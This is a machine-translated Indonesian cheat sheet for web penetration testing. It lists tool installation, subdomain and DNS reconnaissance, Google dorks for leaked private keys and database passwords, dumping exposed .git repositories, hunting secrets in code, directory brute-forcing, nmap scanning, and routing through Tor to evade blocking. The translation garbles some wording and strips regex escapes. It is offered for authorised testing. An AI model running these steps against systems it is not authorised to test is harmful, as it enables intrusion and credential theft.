Ini lebih merupakan daftar periksa untuk diri saya sendiri. Mungkin berisi tips dan trik yang berguna.
Semuanya diuji pada Kali Linux V2023.1 (64-bit).
Untuk bantuan dengan alat apa pun, tulis <tool_name> [-h | -hh | --help] atau man <tool_name> .
Terkadang -h dapat disalahartikan sebagai host atau pilihan lain. Jika itu masalahnya, gunakan -hh atau --help sebagai gantinya, atau baca manual dengan man .
Beberapa alat melakukan tugas serupa, tetapi dapatkan hasil yang sedikit berbeda. Jalankan semua yang Anda bisa. Banyak alat juga saling melengkapi!
Perlu diingat ketika tidak ada protokol atau nomor port dalam URL ditentukan, yaitu, jika Anda hanya menentukan somesite.com , beberapa alat akan default ke HTTP Protocol dan Port 80.
Jika belum, baca Panduan Pengujian Keamanan Web OWASP. Daftar periksa dapat diunduh di sini.
Sangat merekomendasikan membaca masalah keamanan umum di web yang berorientasi finansial.
Situs web yang harus Anda gunakan saat menulis laporan:
Lembar cheat saya yang lain:
0. Instal Tools and Setup
1. Pengintaian
2. Pemindaian/Pencacahan
3. Penilaian/eksploitasi kerentanan
4. Post Exploitation
5. Kata sandi retak
6. Rekayasa Sosial
7. Lain -lain
Sebagian besar alat dapat diinstal dengan Linux Package Manager:
apt-get update && apt-get -y install sometoolUntuk informasi lebih lanjut, kunjungi kali.org/tools.
Beberapa alat Python perlu diunduh dan diinstal secara manual:
python3 setup.py install
Atau, diinstal dari PYPI:
pip3 install sometool
python3 -m pip install sometool
Beberapa alat Golang perlu diunduh dan dibangun secara manual:
go build sometool.go
Atau, diinstal secara langsung:
go install -v github.com/user/sometool@latest
Untuk informasi lebih lanjut, kunjungi pkg.go.dev.
Untuk mengatur Golang, jalankan:
apt-get -y install golang
echo " export GOROOT=/usr/lib/go " >> ~ /.zshrc
echo " export GOPATH= $HOME /go " >> ~ /.zshrc
echo " export PATH= $GOPATH /bin: $GOROOT /bin: $PATH " >> ~ /.zshrc
source ~ /.zshrc Jika Anda menggunakan konsol lain, Anda mungkin perlu menulis ke ~/.bashrc , dll.
Beberapa alat yang dalam bentuk binari atau skrip shell dapat dipindahkan ke /usr/bin/ direktori untuk kemudahan penggunaan:
mv sometool.sh /usr/bin/sometool && chmod +x /usr/bin/sometoolBeberapa alat Java perlu diunduh dan dijalankan secara manual dengan Java (JRE):
java -jar sometool.jar
Daftar API yang berguna untuk diintegrasikan dalam alat Anda:
Unduh daftar agen pengguna bot-aman, membutuhkan kunci API scrapeops.io:
python3 - c 'import json, requests; open("./user_agents.txt", "w").write((" n ").join(requests.get("http://headers.scrapeops.io/v1/user-agents?api_key=SCRAPEOPS_API_KEY&num_results=100", verify = False).json()["result"]))'Unduh daftar penyelesaian DNS tepercaya, atau secara manual dari orang yang paling rumit/resolvers:
python3 - c 'import json, requests; open("./resolvers.txt", "w").write(requests.get("https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt", verify = False).text)'Jika Google atau mesin pencari atau layanan lainnya memblokir alat Anda, gunakan ProxyChains-Ng dan Tor untuk memotong pembatasan.
Instalasi:
apt-get update && apt-get -y install proxychains4 tor torbrowser-launcher Lakukan perubahan berikut di /etc/proxychains4.conf :
round_robin
chain_len = 1
proxy_dns
remote_dns_subnet 224
tcp_read_time_out 15000
tcp_connect_time_out 8000
[ProxyList]
socks5 127.0.0.1 9050
Pastikan untuk mengomentari jenis rantai apa pun selain round_robin - misalnya, komentar strict_chain ke # strict_chain .
Mulai Tor:
service tor start
Kemudian, jalankan alat apa pun yang Anda inginkan:
proxychains4 sometool
Menggunakan hanya untuk kemungkinan besar tidak akan cukup, Anda perlu menambahkan lebih banyak proxy (1) (2) ke /etc/proxychains4.conf ; Namun, sulit untuk menemukan proxy gratis dan stabil yang belum masuk daftar hitam.
Unduh daftar proxy gratis:
curl -s ' https://proxylist.geonode.com/api/proxy-list?limit=50&page=1&sort_by=lastChecked&sort_type=desc ' -H ' Referer: https://proxylist.geonode.com/ ' | jq -r ' .data[] | "(.protocols[]) (.ip) (.port)" ' > proxychains.txt
curl -s ' https://proxylist.geonode.com/api/proxy-list?limit=50&page=1&sort_by=lastChecked&sort_type=desc ' -H ' Referer: https://proxylist.geonode.com/ ' | jq -r ' .data[] | "(.protocols[])://(.ip):(.port)" ' > proxies.txtPerlu diingat bahwa beberapa situs web [Legacy] mungkin hanya dapat diakses melalui browser web tertentu seperti Internet Explorer atau Edge.
Ingatlah bahwa beberapa situs web mungkin kehilangan halaman indeks dan mungkin tidak mengarahkan Anda ke halaman beranda yang sebenarnya. Jika itu masalahnya, cobalah untuk menebak jalur lengkap secara manual ke halaman beranda, gunakan Wayback Machine atau GAU untuk menemukan URL lama, atau coba Direktori Fuzzing dengan Feroxbuster atau Dirbuster.
Cari di Internet untuk jalur dan file default / yang telah ditentukan sebelumnya untuk aplikasi web tertentu. Gunakan informasi yang dikumpulkan dalam kombinasi dengan Google Dorks, Chad, dan HTTPX untuk menemukan jalur dan file yang sama di domain yang berbeda. Untuk aplikasi web yang tidak begitu umum, cobalah untuk menemukan dan menelusuri kode sumber untuk jalur dan file default / yang telah ditentukan sebelumnya.
Anda dapat menemukan kode sumber aplikasi di GitHub, GitLab, SearchCode, dll.
Cari kode sumber aplikasi untuk kunci API, kredensial, rahasia, token, host, dll., Dengan trufflufog dan scraper file. Jangan lupa untuk memeriksa komitmen GitHub lama untuk kunci API yang lama tapi masih aktif, kredensial, rahasia, token, dll.
Periksa konsol web untuk kemungkinan kesalahan. Periksa kode sumber aplikasi untuk kemungkinan komentar.
Jangan lupa untuk mengakses server web melalui alamat IP karena Anda mungkin menemukan halaman sambutan default server atau konten lainnya.
Kumpulkan Informasi:
dmitry -wines -o dmitry_results.txt somedomain.com
Tercerahkan. Pencarian netcraft tidak berhasil.
Kumpulkan Informasi:
theHarvester -f theharvester_results.json -b baidu,bing,bingapi,certspotter,crtsh,dnsdumpster,duckduckgo,hackertarget,otx,threatminer,urlscan,yahoo -l 500 -d somedomain.com
Alat ini cukup sering mengubah mesin pencari, karena itu, beberapa dari mereka mungkin tidak berfungsi seperti bacaan ini.
Terkadang file output mungkin default ke /usr/lib/python3/dist-packages/theHarvester/ direktori.
Ekstrak nama host dari hasil:
jq ' .hosts[] ' theharvester_results.json | sort -uf | tee -a subdomains.txtEkstrak IP dari Hasil:
jq ' .ips[] ' theharvester_results.json | sort -uf | tee -a ips.txtEkstrak email dari hasil:
jq ' .emails[] ' theharvester_results.json | sort -uf | tee -a emails.txtEkstrak email dari hasil:
jq ' .asns[] ' theharvester_results.json | sort -uf | tee -a asns.txtTemukan metadata dan informasi tersembunyi di file.
Diuji pada Windows 10 Enterprise OS (64-bit).
Persyaratan Minimum:
GUI sangat intuitif.
Instalasi:
go install -v github.com/projectdiscovery/uncover/cmd/uncover@latest
Atur tombol API Anda di /root/.config/uncover/provider-config.yaml sebagai berikut:
shodan:
- SHODAN_API_KEY
censys:
- CENSYS_API_ID:CENSYS_API_SECRET
Kumpulkan informasi menggunakan Shodan, Sensys, dan banyak lagi:
uncover -json -o uncover_results.json -l 100 -e shodan,censys -q somedomain.com
jq -r ' .host // empty ' uncover_results.json | sort -uf | tee -a subdomains.txt
jq -r ' .ip // empty ' uncover_results.json | sort -uf | tee -a ips.txtUntuk melakukan: Lebih banyak dorks shodan dan censys.
Kumpulkan subdomain menggunakan Osint:
assetfinder --subs-only somedomain.com | grep -v ' * ' | tee assetfinder_results.txtKumpulkan subdomain menggunakan Osint:
sublist3r -o sublister_results.txt -d somedomain.com
Instalasi:
go install -v github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest
Kumpulkan subdomain menggunakan Osint:
subfinder -t 10 -timeout 3 -nW -o subfinder_results.txt -rL resolvers.txt -d somedomain.com
Subfinder memiliki penyelesaian DNS bawaan.
Atur tombol API Anda di /root/.config/subfinder/config.yaml file sebagai berikut:
shodan:
- SHODAN_API_KEY
censys:
- CENSYS_API_ID:CENSYS_API_SECRET
github:
- GITHUB_API_KEY
virustotal:
- VIRUSTOTAL_API_KEY
Kumpulkan subdomain menggunakan Osint:
amass enum -o amass_results.txt -trf resolvers.txt -d somedomain.com
AMASS memiliki penyelesaian DNS bawaan.
Untuk menemukan ASN dari IPS dan CIDR dari ASNS, gunakan whois. Pemindaian ASN dan CIDR di bawah ini akan memakan waktu lama untuk menyelesaikannya. Hasilnya mungkin tidak semua dalam ruang lingkup Anda diizinkan oleh klien!
Kumpulkan subdomain dari asn:
amass intel -o amass_asn_results.txt -trf resolvers.txt -asn 13337
Kumpulkan subdomain dari CIDR:
amass intel -o amass_cidr_results.txt -trf resolvers.txt -cidr 192.168.8.0/24
Fetch Name Server:
dig +noall +answer -t NS somedomain.com
Fetch Exchange Server:
dig +noall +answer -t MX somedomain.com
Menginterogasi server nama domain:
dig +noall +answer -t ANY somedomain.com @ns.somedomain.com
Ambil file zona dari server nama domain:
dig +noall +answer -t AXFR somedomain.com @ns.somedomain.com
Reverse IP Lookup:
dig +noall +answer -x 192.168.8.5
[Subdomain Takeover] Periksa apakah domain/subdomain sudah mati, cari NXDOMAIN , SERVFAIL , atau kode status REFUSED :
for subdomain in $( cat subdomains.txt ) ; do res= $( dig " ${subdomain} " -t A +noall +comments +timeout=3 | grep -Po ' (?<=status: )[^s]+(?<!,) ' ) ; echo " ${subdomain} | ${res} " ; done | sort -uf | tee -a subdomains_to_status.txt
grep -v ' NOERROR ' subdomains_to_status.txt | grep -Po ' [^s]+(?= |) ' | sort -uf | tee -a subdomains_errors.txt
grep ' NOERROR ' subdomains_to_status.txt | grep -Po ' [^s]+(?= |) ' | sort -uf | tee -a subdomains_errors_none.txtLihat alat host untuk langkah selanjutnya.
Interogasi Server Nama Domain:
fierce -file fierce_std_results.txt --domain somedomain.com
fierce -file fierce_brt_results.txt --subdomain-file subdomains-top1mil.txt --domain somedomain.com
Secara default, Fierce akan melakukan serangan kamus dengan wordlist bawaannya.
Interogasi Server Nama Domain:
dnsrecon -t std --json /root/Desktop/dnsrecon_std_results.json -d somedomain.com
dnsrecon -t axfr --json /root/Desktop/dnsrecon_axfr_results.json -d somedomain.com
dnsrecon -v --iw -f --lifetime 3 --threads 50 -t brt --json /root/Desktop/dnsrecon_brt_results.json -D subdomains-top1mil.txt -d somedomain.com
Dnsrecon dapat melakukan serangan kamus dengan wordlist yang ditentukan pengguna, tetapi pastikan untuk menentukan jalur penuh ke wordlist; Kalau tidak, dnsrecon mungkin tidak mengenalinya.
Pastikan untuk menentukan jalur lengkap ke file output; Kalau tidak, itu akan default ke /usr/share/dnsrecon/ direktori, yaitu, ke direktori root.
Ekstrak nama host dari hasil transfer standar/zona/brute force:
jq -r ' .[] | select(.type | test("^A$|^CNAME$|^MX$|^NS$|^PTR$")) | .exchange // empty, .name // empty, .target // empty ' dnsrecon_std_results.json | sort -uf | tee -a subdomains.txtEkstrak IP dari hasil transfer standar/zona/brute force:
jq -r ' .[] | select(.type | test("^A$|^CNAME$|^MX$|^NS$|^PTR$")) | .address // empty ' dnsrecon_std_results.json | sort -uf | tee -a ips.txt[Subdomain Takeover] Ekstrak nama kanonik dari hasil transfer standar/zona/brute force:
jq -r ' .[] | select(.type | test("^CNAME$")).target ' dnsrecon_std_results.json | sort -uf | tee -a cnames.txtReverse IP Lookup:
dnsrecon --json /root/Desktop/dnsrecon_reverse_results.json -s -r 192.168.8.0/24
Ekstrak host virtual dari hasil pencarian IP terbalik:
jq -r ' .[] | if type == "array" then .[].name else empty end ' dnsrecon_ptr_results.json | sort -uf | tee -a subdomains.txtBeberapa server DNS tidak akan menanggapi kegilaan DNS tipe 'any', gunakan tipe 'a' sebagai gantinya.
Kumpulkan IP untuk domain/subdomain yang diberikan (minta A ):
for subdomain in $( cat subdomains.txt ) ; do res= $( host -t A " ${subdomain} " | grep -Po ' (?<=has address )[^s]+(?<!.) ' ) ; if [[ ! -z $res ]] ; then echo " ${subdomain} | ${res // $' n ' / | } " ; fi ; done | sort -uf | tee -a subdomains_to_ips.txt
grep -Po ' (?<=| )[^s]+ ' subdomains_to_ips.txt | sort -uf | tee -a ips.txtPeriksa apakah domain/subdomain masih hidup dengan httpx. Periksa apakah IPS masih hidup dengan NMAP melakukan sapuan ping.
Kumpulkan host virtual untuk IP yang diberikan (minta catatan PTR ):
for ip in $( cat ips.txt ) ; do res= $( host -t PTR " ${ip} " | grep -Po ' (?<=domain name pointer )[^s]+(?<!.) ' ) ; if [[ ! -z $res ]] ; then echo " ${ip} | ${res // $' n ' / | } " ; fi ; done | sort -uf | tee -a ips_to_subdomains.txt
grep -Po ' (?<=| )[^s]+ ' ips_to_subdomains.txt | sort -uf | tee -a subdomains.txt [Subdomain Takeover] Kumpulkan nama kanonik untuk domain/subdomain kesalahan yang diberikan (minta catatan CNAME ):
for subdomain in $( cat subdomains_errors.txt ) ; do res= $( host -t CNAMES " ${subdomain} " | grep -Po ' (?<=is an alias for )[^s]+(?<!.) ' ) ; if [[ ! -z $res ]] ; then echo " ${subdomain} | ${res // $' n ' / | } " ; fi ; done | sort -uf | tee -a subdomains_errors_to_cnames.txt
grep -Po ' (?<=| )[^s]+ ' subdomains_errors_to_cnames.txt | sort -uf | tee -a subdomain_takeover.txtKumpulkan ASNS dari IPS:
for ip in $( cat ips.txt ) ; do res= $( whois -h whois.cymru.com " ${ip} " | grep -Poi ' ^d+ ' ) ; if [[ ! -z $res ]] ; then echo " ${ip} | ${res // $' n ' / | } " ; fi ; done | sort -uf | tee -a ips_to_asns.txt
grep -Po ' (?<=| )(?(?! |).)+ ' ips_to_asns.txt | sort -uf | tee -a asns.txtKumpulkan CIDR dari ASNS:
for asn in $( cat asns.txt ) ; do res= $( whois -h whois.radb.net -i origin " AS ${asn} " | grep -Poi ' (?<=route:)[s]+K.+ ' ) ; if [[ ! -z $res ]] ; then echo " AS ${asn} | ${res // $' n ' / | } " ; fi ; done | sort -uf | tee -a asns_to_cidrs.txt
grep -Po ' (?<=| )(?(?! |).)+ ' asns_to_cidrs.txt | sort -uf | tee -a cidrs.txt[Subdomain Takeover] Kumpulkan nama organisasi dari IPS:
for ip in $( cat ips.txt ) ; do res= $( whois -h whois.arin.net " ${ip} " | grep -Po ' (?<=OrgName:)[s]+K.+ ' ) ; if [[ ! -z $res ]] ; then echo " ${ip} | ${res // $' n ' / | } " ; fi ; done | sort -uf | tee -a ips_to_organization_names.txt
grep -Po ' (?<=| )(?(?! |).)+ ' ips_to_organization_names.txt | sort -uf | tee -a organization_names.txtPeriksa apakah ada IP milik organisasi GitHub, baca lebih lanjut tentang pengambilalihan GitHub dalam artikel H1 ini.
Instalasi:
go install -v github.com/projectdiscovery/asnmap/cmd/asnmap@latest
Dapatkan Kunci API ProjectDiscovery dari cloud.projectdiscovery.io dan jalankan:
asnmap -auth
Kumpulkan CIDR dari ASN:
asnmap -r resolvers.txt -a asn | tee -a asnmap_cidr_results.txtKumpulkan CIDR dari ID Organisasi:
asnmap -r resolvers.txt -org id | tee -a asnmap_cidr_results.txtPeriksa apakah domain/subdomain masih hidup, peta host langsung:
httpx-toolkit -o httpx_results.txt -l subdomains_errors_none.txt
httpx-toolkit -random-agent -json -o httpx_results.json -threads 100 -timeout 3 -l subdomains_errors_none.txt -ports 80,443,8008,8080,8403,8443,9008,9080,9403,9443Saring domain/subdomain dari hasil JSON:
jq -r ' select(."status-code" | tostring | test("^2|^3|^4")).url ' httpx_results.json | sort -uf | tee -a subdomains_live_long.txt
jq -r ' select(."status-code" | tostring | test("^2")).url ' httpx_results.json | sort -uf | tee -a subdomains_live_long_2xx.txt
jq -r ' select(."status-code" | tostring | test("^2|^4")).url ' httpx_results.json | sort -uf | tee -a subdomains_live_long_2xx_4xx.txt
jq -r ' select(."status-code" | tostring | test("^3")).url ' httpx_results.json | sort -uf | tee -a subdomains_live_long_3xx.txt
jq -r ' select(."status-code" | tostring | test("^401$")).url ' httpx_results.json | sort -uf | tee -a subdomains_live_long_401.txt
jq -r ' select(."status-code" | tostring | test("^403$")).url ' httpx_results.json | sort -uf | tee -a subdomains_live_long_403.txt
jq -r ' select(."status-code" | tostring | test("^4")).url ' httpx_results.json | sort -uf | tee -a subdomains_live_long_4xx.txt
jq -r ' select(."status-code" | tostring | test("^5")).url ' httpx_results.json | sort -uf | tee -a subdomains_live_long_5xx.txt
grep -Po ' http://[^s]+ ' subdomains_live_long.txt | sort -uf | tee -a subdomains_live_long_http.txt
grep -Po ' https://[^s]+ ' subdomains_live_long.txt | sort -uf | tee -a subdomains_live_long_https.txt
grep -Po ' (?<=://)[^s]+ ' subdomains_live_long.txt | sort -uf | tee -a subdomains_live_short.txt
grep -Po ' (?<=http://)[^s]+ ' subdomains_live_long.txt | sort -uf | tee -a subdomains_live_short_http.txt
grep -Po ' (?<=https://)[^s]+ ' subdomains_live_long.txt | sort -uf | tee -a subdomains_live_short_https.txt
grep -Po ' (?<=://)[^s:]+ ' subdomains_live_long.txt | sort -uf | tee -a subdomains_live.txtPeriksa apakah ada direktori di server web:
httpx-toolkit -status-code -content-length -o httpx_results.txt -l subdomains_live_long.txt -path /.gitKumpulkan URL dari mesin wayback:
getallurls somedomain.com | tee gau_results.txt
for subdomain in $( cat subdomains_live.txt ) ; do getallurls " ${subdomain} " ; done | sort -uf | tee gau_results.txtSaring URL dari hasil:
httpx-toolkit -random-agent -json -o httpx_gau_results.json -threads 100 -timeout 3 -r resolvers.txt -l gau_results.txt
jq -r ' select(."status-code" | tostring | test("^2|^3|^4")).url ' httpx_gau_results.json | sort -uf | tee gau_2xx_results.txt
jq -r ' select(."status-code" | tostring | test("^3")).url ' httpx_gau_results.json | sort -uf | tee gau_3xx_results.txt
jq -r ' select(."status-code" | tostring | test("^401$")).url ' httpx_gau_results.json | sort -uf | tee gau_401_results.txt
jq -r ' select(."status-code" | tostring | test("^403$")).url ' httpx_gau_results.json | sort -uf | tee gau_403_results.txt
jq -r ' select(."status-code" | tostring | test("^4")).url ' httpx_gau_results.json | sort -uf | tee gau_4xx_results.txtInstalasi:
go install -v github.com/utkusen/urlhunter@latestKumpulkan URL dari URL Shortening Services:
urlhunter -o urlhunter_results.txt -date latest -keywords keywords.txt
Database Google Dork:
Periksa daftar file /.well-known/ di sini.
Google Dorking tidak akan menampilkan direktori atau file yang dilarang di robots.txt , untuk memeriksa direktori dan file tersebut menggunakan httpx.
site:www.somedomain.com untuk membatasi ruang lingkup Anda ke domain/subdomain tertentu. site:*.somedomain.com untuk membatasi ruang lingkup Anda ke semua subdomain. site:*.somedomain.com -www Untuk mengecualikan subdomain www dari hasil.
Google Dorks Sederhana:
inurl:/robots.txt intext:disallow ext:txt
inurl:/.well-known/security.txt ext:txt
inurl:/info.php intext:"php version" ext:php
intitle:"index of /" intext:"parent directory"
intitle:"index of /.git" intext:"parent directory"
inurl:/gitweb.cgi
intitle:"Dashboard [Jenkins]"
(intext:"mysql database" AND intext:db_password) ext:txt
intext:-----BEGIN PGP PRIVATE KEY BLOCK----- (ext:pem OR ext:key OR ext:txt)
Temukan dan unduh file menggunakan Google Dork:
mkdir chad_downloads
chad -nsos -o chad_downloads_results.json -dir chad_downloads -tr 100 -q "ext:txt OR ext:pdf OR ext:doc OR ext:docx OR ext:xls OR ext:xlsx" -s *.somedomain.com
Ekstrak penulis (dan lainnya) dari file:
apt-get -y install libimage-exiftool-perl
exiftool -S chad_results | grep -Po ' (?<=Author: ).+ ' | sort -uf | tee -a people.txtTemukan Daftar Direktori Menggunakan Google Dork:
chad -nsos chad_directory_listings_results.json -tr 100 -q 'intitle:"index of /" intext:"parent directory"' -s *.somedomain.com
Lebih lanjut tentang proyek saya di Ivan-SinceK/Chad.
Unduh versi terbaru dari GitHub dan periksa cara menginstal alat ini.
Dapatkan informasi nomor telepon:
phoneinfoga scan -n +1111111111
Dapatkan informasi nomor telepon yang berinteraksi dengan UI:
phoneinfoga serve
Arahkan ke http://localhost:5000 dengan browser web pilihan Anda.
Cobalah untuk merekonstruksi repositori github, yaitu, dapatkan kode sumber, berdasarkan sejarah komit dari direktori publik /.git :
git-dumper https://somesite.com/.git git_dumper_results
Alat ini mungkin tidak dapat merekonstruksi seluruh repositori setiap saat, tetapi masih bisa mengungkapkan beberapa informasi sensitif.
Beberapa perintah git tambahan untuk dicoba pada direktori kloned /.git :
git status
git log
git checkout -- .
git restore .
Gunakan Google Dorking dan Chad untuk menemukan lebih banyak target.
Instalasi:
git clone https://github.com/trufflesecurity/trufflehog && cd trufflehog
go installCari kunci sensitif di dalam satu repositori atau seluruh organisasi di GitHub:
trufflehog git https://github.com/trufflesecurity/test_keys --only-verified --json
trufflehog github --org=trufflesecurity --only-verified --json
Cari kunci sensitif di dalam file dan direktori:
trufflehog filesystem somefile_1.txt somefile_2.txt somedir1 somedir2
Lebih lanjut tentang proyek di Trufflesecurity/TruffluHog.
Untuk melakukan: Selesai.
Lebih lanjut tentang proyek di Ivan-SinceK/File-Scraper.
Instalasi:
go install -v github.com/projectdiscovery/katana/cmd/katana@latest
Merangkak situs web:
katana -timeout 3 -retry 1 -c 30 -o katana_results.txt -ps -jc -iqp -d 1 -u https://somesite.com/home
katana -timeout 3 -retry 1 -c 30 -o katana_results.txt -ps -jc -iqp -d 1 -u subdomains_live_long_2xx.txt
Merangkak situs web, unduh, dan mempercantik file javascript [minified]:
scrapy-scraper -cr 30 -a random -o scrapy_scraper_results.txt -p -r 1 -dir somedir -u https://somesite.com/home
scrapy-scraper -cr 30 -a random -o scrapy_scraper_results.txt -p -r 1 -dir somedir -u subdomains_live_long_2xx.txt
Jika Anda tidak mendapatkan hasil saat menggunakan browser tanpa kepala drama, coba perbarui:
pip3 install --upgrade playwright
playwright install chromium
Lebih lanjut tentang proyek saya di Ivan-SinceK/Scrapy-Scraper.
Mengikis file JavaScript menggunakan trufflufog dan scraper file.
Jangan lupa bahwa OS GNU/Linux memiliki sistem file yang sensitif, jadi pastikan untuk menggunakan daftar kata yang tepat.
Jika Anda tidak mendapatkan hit saat direktori memaksa brute, cobalah untuk brute force file dengan menentukan ekstensi file.
Alat di bawah ini mendukung direktori rekursif dan pencarian file. Juga, mereka mungkin membutuhkan waktu lama untuk menyelesaikan tergantung pada pengaturan dan wordlist yang digunakan.

Gambar 1 - Dirbuster
Semua daftar kata Dirbuster terletak di /usr/share/dirbuster/wordlists/ direktori.
Direktori Brute Force di server web:
cat subdomains_live_long.txt | feroxbuster --stdin -k -n --auto-bail --random-agent -t 50 -T 3 --json -o feroxbuster_results.txt -s 200,301,302,401,403 -w directory-list-lowercase-2.3-medium.txt
Alat ini lebih cepat dari Dirbuster.
Saring direktori dari hasil:
jq -r ' select(.status | tostring | test("^2")).url ' feroxbuster_results.json | sort -uf | tee -a directories_2xx.txt
jq -r ' select(.status | tostring | test("^2|^4")).url ' feroxbuster_results.json | sort -uf | tee -a directories_2xx_4xx.txt
jq -r ' select(.status | tostring | test("^3")).url ' feroxbuster_results.json | sort -uf | tee -a directories_3xx.txt
jq -r ' select(.status | tostring | test("^401$")).url ' feroxbuster_results.json | sort -uf | tee -a directories_401.txt
jq -r ' select(.status | tostring | test("^403$")).url ' feroxbuster_results.json | sort -uf | tee -a directories_403.txt
jq -r ' select(.status | tostring | test("^4")).url ' feroxbuster_results.json | sort -uf | tee -a directories_4xx.txt
jq -r ' select(.status | tostring | test("^5")).url ' feroxbuster_results.json | sort -uf | tee -a directories_5xx.txt| Pilihan | Keterangan |
|---|---|
| -u | URL target (diperlukan, kecuali [--stdin |--resume-from] digunakan) |
| --Stdin | Baca URL dari Stdin |
| -A A | Menetapkan agen pengguna (default: feroxbuster / xxx) / Gunakan agen pengguna acak |
| -X | Ekstensi file untuk mencari (mis: -x php -x pdf, js) |
| -M | Metode permintaan HTTP mana yang harus dikirim (default: get) |
| --data | Tubuh permintaan; dapat membaca data dari file jika input dimulai dengan @(mis: @post.bin) |
| -H | Tentukan header http yang akan digunakan dalam setiap permintaan (mis: -h header: val -h 'barang: hal -hal') |
| -B | Tentukan cookie http yang akan digunakan dalam setiap permintaan (mis: -b barang = hal) |
| -Q | Parameter kueri URL permintaan (mis: -q token = stuff -q rahasia = key) |
| -F | Tambahkan / ke URL setiap permintaan |
| -S | Kode status untuk disertakan (izin daftar) (default: 200.204.301.302.307.308.401.403.405) |
| -T | Jumlah detik sebelum permintaan klien kali keluar (default: 7) |
| -k | Menonaktifkan validasi sertifikat TLS untuk klien |
| -T | Jumlah utas bersamaan (default: 50) |
| -N | Jangan memindai secara rekursif |
| -W | Jalan menuju daftar kata |
| --Auto-Bail | Secara otomatis menghentikan pemindaian ketika jumlah kesalahan yang berlebihan ditemui |
| -B | Secara otomatis meminta kemungkinan ekstensi cadangan untuk URL "ditemukan" (default: ~, .bak, .bak2, .old, .1) |
| -Q | Sembunyikan Progress Bars and Banner (bagus untuk jendela tmux dengan pemberitahuan) |
| -Hai | File output untuk menulis hasil ke (gunakan w/ --json untuk entri JSON) |
Unduh versi terbaru dari GitHub. Lihat Cara Menginstal Alat.
Cari server web untuk file sensitif:
snallygaster --nowww somesite.com | tee snallygaster_results.txt
for subdomain in $( cat subdomains_live_short_http.txt ) ; do snallygaster --nohttps --nowww " ${subdomain} " ; done | tee snallygaster_http_results.txt
for subdomain in $( cat subdomains_live_short_https.txt ) ; do snallygaster --nohttp --nowww " ${subdomain} " ; done | tee snallygaster_https_results.txtUnduh:
git clone https://github.com/irsdl/IIS-ShortName-Scanner && cd IIS-ShortName-Scanner/releaseCari server IIS untuk file dan direktori:
java -jar iis_shortname_scanner.jar 2 30 https://somesite.com
Identifikasi situs web:
whatweb -v somesite.com
Uji semua robots.txt entri:
parsero -sb -u somesite.com
Ambil tangkapan layar dari situs web:
eyewitness --no-prompt --no-dns --timeout 3 --threads 5 -d eyewitness_results -f subdomains_live_long.txt
Untuk memeriksa tangkapan layar, navigasikan ke direktori eyewitness_results/screens .
Anda dapat menemukan rockyou.txt di dalam /usr/share/wordlists/ direktori atau bagian dalam - koleksi berguna dari berbagai jenis wordlist untuk penilaian keamanan.
Instal Seclists (koleksi akan disimpan di /usr/share/seclists/ directory):
apt-get update && apt-get install seclistsKontribusi Saya untuk Daftar Imot: Danielmiessler/Seclists/Tree/Master/Fuzzing/Jumlah
Koleksi WordList populer lainnya:
Ingatlah bahwa aplikasi atau layanan Web dapat di -host di port lain selain 80 (http) dan 443 (https), misalnya, mereka dapat di -host di port 8443 (https).
Ingatlah bahwa pada port 80 (http) dan 443 (https) Server web dapat meng -host berbagai aplikasi atau layanan web. Gunakan NCAT atau Telnet untuk meraih spanduk.
Ingatlah bahwa pada jalur URL yang berbeda, server web dapat meng -host berbagai aplikasi atau layanan web, misalnya, somesite.com/app_one/ dan somesite.com/app_two/ .
Saat memindai kerentanan atau menjalankan pemindaian intensif lainnya, periksa secara berkala aplikasi web atau layanan jika macet, sehingga Anda dapat mengingatkan klien Anda sesegera mungkin; Atau jika Anda mendapat tarif dibatasi oleh aplikasi web Firewall (WAF) atau beberapa produk keamanan lainnya, sehingga Anda dapat menjeda pemindaian Anda karena semua permintaan Anda selanjutnya akan diblokir dan hasil Anda tidak akan lengkap.
Jika aplikasi Web atau layanan sekaligus berhenti merespons, cobalah untuk mengakses aplikasi web atau layanan menggunakan data seluler Anda, IE, menggunakan IP yang berbeda. Mungkin saja IP Anda saat ini diblokir sementara.
Kirim pesan email ke alamat yang tidak ada di domain Target, itu akan sering mengungkapkan informasi jaringan internal yang berguna melalui pemberitahuan non-relevery (NDN).
Dapatkan komunitas Nessus gratis, dan jika Anda mampu membelinya, dapatkan Burp Suite Professional atau Caido.
Untuk hasil yang lebih baik, gunakan IPS bukan nama domain.
Ping sweep, peta host langsung:
nmap -sn -oG nmap_ping_sweep_results.txt 192.168.8.0/24
nmap -sn -oG nmap_ping_sweep_results.txt -iL cidrs.txt
Beberapa server web tidak akan menanggapi permintaan ping (ICMP), sehingga pemetaan host langsung tidak akan akurat.
Ekstrak host langsung dari hasil:
grep -Po ' (?<=Host: )[^s]+ ' nmap_ping_sweep_results.txt | sort -uf | tee -a ips_live.txtPemindaian TCP, semua port:
nmap -nv -sS -sV -sC -Pn -oN nmap_tcp_results.txt -p- 192.168.8.0/24
nmap -nv -sS -sV -sC -Pn -oN nmap_tcp_results.txt -p- -iL cidrs.txt
Otomatis Pemindaian TCP:
mkdir nmap_tcp_results
for ip in $( cat ips_live.txt ) ; do nmap -nv -sS -sV -sC -Pn -oN " nmap_tcp_results/nmap_tcp_results_ ${ip // . / _} .txt " -p- " ${ip} " ; doneUDP scan, hanya port penting:
nmap -nv -sU -sV -sC -Pn -oN nmap_udp_results.txt -p 53,67,68,69,88,123,135,137,138,139,161,162,389,445,500,514,631,1900,4500 192.168.8.0/24
nmap -nv -sU -sV -sC -Pn -oN nmap_udp_results.txt -p 53,67,68,69,88,123,135,137,138,139,161,162,389,445,500,514,631,1900,4500 -iL cidrs.txt
Otomatis pemindaian UDP:
mkdir nmap_udp_results
for ip in $( cat ips_live.txt ) ; do nmap -nv -sU -sV -sC -Pn -oN " nmap_udp_results/nmap_udp_results_ ${ip // . / _} .txt " -p 53,67,68,69,88,123,135,137,138,139,161,162,389,445,500,514,631,1900,4500 " ${subdomain} " ; done| Pilihan | Keterangan |
|---|---|
| -sn | Pemindaian Ping - Nonaktifkan Pemindaian Port |
| -Pn | Perlakukan semua host sebagai online - lewati penemuan host |
| -n/-r | Never Do DNS Resolution/Selalu Selesaikan (Default: Terkadang) |
| -ss/st/sa | TCP Syn/Connect ()/ACK |
| -su | Pemindaian UDP |
| -p/-p- | Hanya pemindaian port/pemindaian yang ditentukan semua port |
| --TOP-PORTS | Pindai port yang paling umum |
| -sv | Probe Open Ports untuk menentukan info layanan/versi |
| -HAI | Aktifkan deteksi OS |
| -sc | Sama seperti --cript = default |
